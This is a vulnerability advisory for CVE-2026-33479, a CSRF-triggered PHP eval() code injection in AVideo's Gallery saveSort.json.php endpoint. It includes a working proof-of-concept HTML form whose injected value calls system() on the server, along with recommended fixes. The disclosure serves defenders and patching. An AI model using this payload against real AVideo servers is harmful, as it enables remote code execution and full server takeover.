CVE-2026-33479: AVideo has PHP Code Injection via eval() in Gallery saveSort.json.php Exploitable Through CSRF Against Admin
Summary
The Gallery plugin's saveSort.json.php endpoint passes unsanitized user input from $REQUEST['sections'] array values directly into PHP's eval() function. While the endpoint is gated behind User::isAdmin(), it has no CSRF token validation. Combined with AVideo's explicit SameSite=None session cookie configuration, an attacker can exploit this via cross-site request forgery to achieve unauthenticated remote code execution — requiring only that an admin visits an attacker-controlled page.
Details
Vulnerable code — plugin/Gallery/view/saveSort.json.php:20-25:
php if(!empty($REQUEST['sections'])){ $object = $gallery->getDataObject(); foreach ($REQUEST['sections'] as $key => $value) { $obj->sectionsSaved[] = array($key=>$value); eval("\$object->{$value}Order = \$key;"); } $obj->error = !$gallery->setDataObject($object); }
The $value variable from $REQUEST['sections'] is interpolated directly into the string passed to eval() with no sanitization — no allowlist, no regex validation, no escaping. Normal Gallery usage sends section names like 'Shorts', 'Trending', etc. from jQuery UI sortable, but the server enforces no such constraint.
CSRF enablement — objects/includeconfig.php:134-137:
php if ($isHTTPS) { iniset('session.cookiesamesite', 'None'); iniset('session.cookiesecure', '1'); }
The session cookie is explicitly set to SameSite=None, which instructs browsers to send the cookie on cross-site requests. This is also reinforced in objects/functionsPHP.php:330-333 where additional cookies are set with SameSite=None; Secure.
No CSRF protection — The endpoint performs no CSRF token validation, no Origin header check, no Referer header check, and no X-Requested-With header check. There is no global CSRF middleware in AVideo's bootstrap chain.
Exploit chain: 1. Attacker crafts a page with an auto-submitting form targeting saveSort.json.php 2. Admin visits the attacker's page (e.g., via a link in a comment, email, or message) 3. The browser sends the cross-site POST request with the admin's session cookie attached (due to SameSite=None) 4. User::isAdmin() passes because the admin's session is present 5. The injected PHP code in the sections array value is passed to eval() and executes
PoC
Step 1: Host the following HTML on an attacker-controlled server:
html <!DOCTYPE html> <html> <body> <form id="exploit" action="https://TARGET/plugin/Gallery/view/saveSort.json.php" method="POST"> <input type="hidden" name="sections[0]" value="x=1;system(base64decode('aWQ7aG9zdG5hbWU='));//"> </form> <script>document.getElementById('exploit').submit();</script> </body> </html>
The base64 decodes to id;hostname.
Step 2: Lure an authenticated AVideo admin to visit the page.
Step 3: The eval on line 24 executes: php $object->x=1;system(base64decode('aWQ7aG9zdG5hbWU='));//Order = 0;
This breaks out of the property assignment, calls system() with attacker-controlled arguments, and comments out the rest of the line. The response JSON will contain the command output, but even without seeing the response, the command executes server-side.
Expected result: The id and hostname commands execute on the server under the web server's user context.
Impact
- Remote Code Execution — An attacker achieves arbitrary PHP code execution on the server by luring an admin to visit a malicious page. No prior authentication or account on the target is required. - Full server compromise — The attacker can read/write files, access the database, pivot to other services, install backdoors, or exfiltrate data. - Stealth — The attack is a single form submission that completes in milliseconds. The admin may not notice anything unusual. - Blast radius — Any AVideo instance running over HTTPS (which triggers SameSite=None) where an admin can be lured to click a link is vulnerable.
Recommended Fix
Primary fix — Replace eval() with an allowlist check:
In plugin/Gallery/view/saveSort.json.php, replace lines 20-26:
php if(!empty($REQUEST['sections'])){ $object = $gallery->getDataObject(); $allowedSections = ['Shorts', 'Trending', 'SiteSuggestion', 'Newest', 'Subscribe', 'Popular', 'LiveStream', 'Category', 'Program', 'Channel']; foreach ($REQUEST['sections'] as $key => $value) { if (!inarray($value, $allowedSections, true)) { continue; } $obj->sectionsSaved[] = array($key => $value); $property = $value . 'Order'; $object->$property = intval($key); } $obj->error = !$gallery->setDataObject($object); }
This eliminates eval() entirely, validates $value against a known allowlist of section names, and uses dynamic property access ($object->$property) instead of code generation.
Secondary fix — Add CSRF protection to all state-changing endpoints, or at minimum set SameSite=Lax on session cookies instead of SameSite=None in objects/includeconfig.php:135:
php iniset('session.cookiesamesite', 'Lax');
This prevents session cookies from being sent on cross-site form submissions, blocking the CSRF vector for all endpoints.
Other sources
WWBN AVideo is an open source video platform. In versions up to and including 26.0, the Gallery plugin's saveSort.json.php endpoint passes unsanitized user input from $REQUEST['sections'] array values directly into PHP's eval() function. While the endpoint is gated behind User::isAdmin(), it has no CSRF token validation. Combined with AVideo's explicit SameSite=None session cookie configuration, an attacker can exploit this via cross-site request forgery to achieve unauthenticated remote code execution — requiring only that an admin visits an attacker-controlled page. Commit 087dab8841f8bdb54be184105ef19b47c5698fcb contains a patch.
— MITRE
Affected Software
Remediation
Event History
Frequently Asked Questions
Does an attacker need an account or administrative credentials to exploit this?
No attacker account or credentials are required. Exploitation relies on an authenticated AVideo administrator visiting an attacker-controlled page, which can send a cross-site request using the administrator's session.
What component receives the malicious input?
The Gallery plugin endpoint plugin/Gallery/view/saveSort.json.php processes values in the sections request array. Those values are inserted directly into eval() without server-side validation or escaping.
Is a fix available?
Yes. A patch is available, although the provided data does not identify the fixed release version.